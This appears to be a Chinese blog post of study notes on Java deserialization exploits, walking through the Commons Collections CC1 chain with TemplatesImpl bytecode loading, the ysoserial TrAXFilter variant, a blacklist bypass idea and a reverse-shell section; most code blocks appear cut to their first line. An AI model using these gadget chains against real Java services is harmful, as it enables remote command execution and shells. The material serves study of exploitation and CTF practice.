在学习类的动态代理的时候了解到了可以加载字节码的类TemplatesImpl
。
通过调⽤其 newTransformer()
⽅法,即可执⾏这段字节码的类构造器。
在CC1中通过动态加载字节码来实现执行任意命令
先构造一个利用TemplatesImpl
执⾏字节码
1 | byte[] code = |
在CC1中是通过创建一个InvokerTransformer
对象来执行方法。改造一下,执⾏的“⽅法”改成 TemplatesImpl::newTransformer()
1 | Transformer[] transformers = new Transformer[]{ |
完整poc
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
成功通过加载字节码和CC1执行命令
ysoserial中利用TemplatesImpl的方式
InvokerTransformer并没有在ysoserial中利用,原因是早已经被列入黑名单中,当然用UTF-8混淆也许可以绕过。
在ysoserial中使用了com.sun.org.apache.xalan.internal.xsltc.trax
中的TrAXFilter类
进入这个类看一下,可以看到他的构造方法中调用了TransformerImpl,所以想要利用TrAXFilter类需要找到可以获取TrAXFilter类的构造方法的方法。
缺少了InvokerTransformer
,TrAXFilter
的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的 Transformer
,就是 org.apache.commons.collections.functors.InstantiateTransformer
。 InstantiateTransformer
也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。
在java.lang.Runtime
的exec方法打个断点,可以看到调用栈。
可以看到利用 InstantiateTransformer
来调⽤到 TrAXFilter
的构造⽅法
再利用TrAXFilter
构造⽅法⾥的 templates.newTransformer()
调⽤到 TemplatesImpl
⾥的字节码。
Transformer调⽤链
1 | Transformer[] transformers = new Transformer[]{ |
通过恶意的TemplatesImpl来进行攻击
通过反射设置file
1 | TemplatesImpl templatesImpl = new TemplatesImpl(); |
通过设置属性值来触发方法
1 | public static void setFieldValue(Object obj, String field, Object val) throws Exception{ |
修改file的值为实例化TrAXFilter类的对象来触发ConstantTransformer的getter方法。这样就会执行Transformer
1 | setFieldValue(transformer, "iConstant", object); |
反弹shell(出网的情况下)
1 | public static byte[] getTemplates() throws Exception{ |
通过这个网站可以生成反弹shell的bash命令
Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)
通过反射来执行传入的参数
SpringBoot可以通过自带的方法
1 | public static byte[] payload() throws NotFoundException, CannotCompileException, IOException { |
使用题目自带的实现http的类
CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用) | Java (gitbook.io)